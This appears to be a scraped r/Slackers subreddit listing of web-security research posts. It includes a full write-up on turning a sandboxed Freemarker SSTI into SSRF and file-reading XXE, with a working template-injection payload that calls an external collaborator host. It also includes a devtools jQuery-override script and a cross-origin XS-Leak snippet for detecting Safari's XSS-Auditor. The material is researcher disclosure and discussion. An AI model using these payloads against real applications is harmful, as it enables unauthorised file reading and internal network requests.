r/Slackers • u/Gallus • Oct 15 '19
r/Slackers • u/smaury • Jul 29 '20
Sometimes they come back: exfiltration through MySQL and CVE-2020-11579
r/Slackers • u/terjanq • Nov 12 '19
Applying Cache Probing Attack over multiple Google platforms - XS-Search
r/Slackers • u/garethheyes • Sep 01 '22
Using Hackability to uncover a Chrome infoleak
r/Slackers • u/insertscript • May 02 '20
https://github.com/fransr/postMessage-tracker
r/Slackers • u/salchoman • Apr 23 '20
The road from sandboxed SSTI to SSRF and XXE
So I spent a whole bunch of hours trying to solve the penultimate challenge on the latest Web Academy server-side template injection labs and while the solution was totally different, I found an interesting new way to transform SSTI bugs into SSRF and XXE on Freemarker.
This technique works when you have SSTI on a template that uses the SAFER_RESOLVER template loader, that is, you can instantiate TemplateModel objects with the new built-in but you can't just execute commands with Runtime/Execute/ObjectConstructor. So how can we use the available TemplateModels to our advantage?
I fuzzed every TemplateModel and went through the list of those that I could instantiate and one of them really caught my attention: the NodeListModel (only the XML variant of this can be instantiated).
This class takes a list of objects and provides access to them through a pseudo-query language on its get method. Interestingly though, the exec method doc reads: Evaluates an XPath expression on XML nodes in this model. This is important because XPath's document() function enables XPath-assisted XXE exploits - a seriously underestimated techinque responsible for its very own CVEs.
At this point, there's one important missing ingredient: the NodeListModel class will only work with objects of type Node. Freemarker has a whole range of features to turn XML into data models and exposing these to templates. So, if the stars are aligned, some of the existing objects in the template you're injecting into might be of type Node.
If this is the case (and I have indeed found such case), you can turn this SSTI into a sweet SSRF by injecting something along the lines of:
<#assign x = "freemarker.ext.xml.NodeListModel"?new(doc)>
${x("document('http://cheese.burpcollaborator.net')")}
This is limited to what the document function can do though, so the set of allowed protocols boils down to whatever the current XSLT implementation supports. Happily, my tests on Freemarker 2.3.28 + Jaxen show that they support at least http://, https:// and, oh yeah, no biggie, also file:// - boom! you just got file path traversal, go and fetch yourself some XML-looking files.
As if this wasn't enough I managed to turn this into a full XXE. So never mind XML-looking files, since you can now read any file whatsoever. There is one catch to this though: Freemarker allows the developer to provide their own XSLT implementation (either Xerces or Jaxen) and the latest version of Jaxen doesn't resolve external entities by default, so if you're unlucky, you might not be able to get the XXE after all. But hey, you just managed to go from sandboxed SSTI to SSRF, so the glass is half full, right?
Just look at this beauty:

Have some thoughts? Are the stars never aligned when you find injections? Do you know of somebody using this already? Hey, for all I know there might be gadgets in other templating systems that allow similar things!
Whatever it is, give me a shout and let me know: https://twitter.com/salchoman :)
r/Slackers • u/avlidienbrunn • Apr 18 '20
Chrome devtools shenanigans
There's some interesting interaction between chrome devtools and the current page. The Event Listeners tab under the Elements tab uses window['jQuery'] to list and remove event handlers.
If we override window['jQuery']['fn'], we can have any function execute when opening this tab:
<script>(jQuery=function(){location='//example.com'}).fn=jQuery;</script>
Open example.html
Open devtools
Go to Elements tab
Go to Event Listeners tab
Question is, can we do something more interesting with this, such as get references to internal devtools functions/objects? I couldn't find a way to get a hold of a calling functions locals but maybe one of you have some ideas :)
Source/reason it works like this: https://source.chromium.org/chromium/chromium/src/+/master:third_party/devtools-frontend/src/front_end/event_listeners/EventListenersUtils.js
(PS. This can't be used in any plausible attack since it would require a user to open devtools and enter two specific tabs, I just found it interesting and am wondering what implications it might have)
r/Slackers • u/Gallus • Aug 18 '19
URL Paths and Security
After seeing this recent twitter thread I thought a discussion of situations where the path is used as part of a security control could be interesting. An old example would be cookie paths (usually broken by design anyway due to SOP ignoring paths).
A newer and I think more interesting example is the registration of service workers. The simple URL encoding attack has already been discussed and test cases added to major browsers, however if web servers perform double/multiple levels of URL decoding (typically due to architectures that have multiple levels of reverse proxies), attacks are still possible. Also interesting are situations where older exotic encodings are permitted, a simple example being "%u" encoding.
Interested to hear other slackers thoughts or memories of past bugs/attacks!
r/Slackers • u/garethheyes • Dec 17 '19
CVE-2019-18935: Remote Code Execution via Insecure Deserialization in Telerik UI
r/Slackers • u/kunte0 • Feb 27 '20
Detecting XSS-Auditor in Safari (XS-Leaks with Performance API)
TLDR: Safari (13.0.4) will not log iframe requests in the performance API list, when the iframe page is blocked by the XSS-Auditor. So the length of performance.getEntries() can leak the status of the Auditor.
const check = async(url) => {
let perfEntries = performance.getEntries().length
return new Promise(r => {
let frame = document.createElement('iframe')
frame.src = url
frame.onload = (e) => {
e.target.remove()
return r(performance.getEntries().length - perfEntries)
}
framesdiv.appendChild(frame)
})
}
// r(0) = XSS auditor triggered
// r(1) = no XSS auditorSince the auditor got removed from Chrome 78+ i was wondering if you can still detect it cross origin in Safari. In Safari the current page is just replaced with an empty page instead of changing to an error page like Chrome, which makes it harder to detect.
When a page has iframes, a block would remove them and window.frames.length could be used to detect the auditor cross domain. Without iframes it is a bit harder as other techniques used to detect the Chrome Auditor do not work with Safari.
The Performance API is very interesting for all kind of timing leaks and terjanq showed how to detect xframe options with it in Chrome, using embeds or iframes.
Safari will also not log iframe requests in certain conditions which can be used for XS-Leaks:
if the XSS-Auditor blocked the page => Detect XSS-Auditor
if the response has 4XX or 5XX status code => Status-Code Leak
if
X-Frame-Optionsdeny/sameorigindenied the iframe request => X-Frame Option Leak
Also in Safari redirect times can be read for cross-origin performance entries, thus leaking whether a page redirected the user.
Chrome has the same problem with X-Frame Options only Firefox seems to get it right (also no XSS auditor π).
Maybe there are other ways to detect the Safari XSS-Auditor would be fun to hear about from you guys π
r/Slackers • u/garethheyes • Dec 17 '19
Hacking GitHub with Unicode's dotless 'i'.
r/Slackers • u/garethheyes • Oct 21 '19
shhgit: find secrets in real time across GitHub, GitLab and BitBucket
r/Slackers • u/garethheyes • Oct 12 '20
Evading defences using VueJS script gadgets
r/Slackers • u/insertscript • Oct 06 '20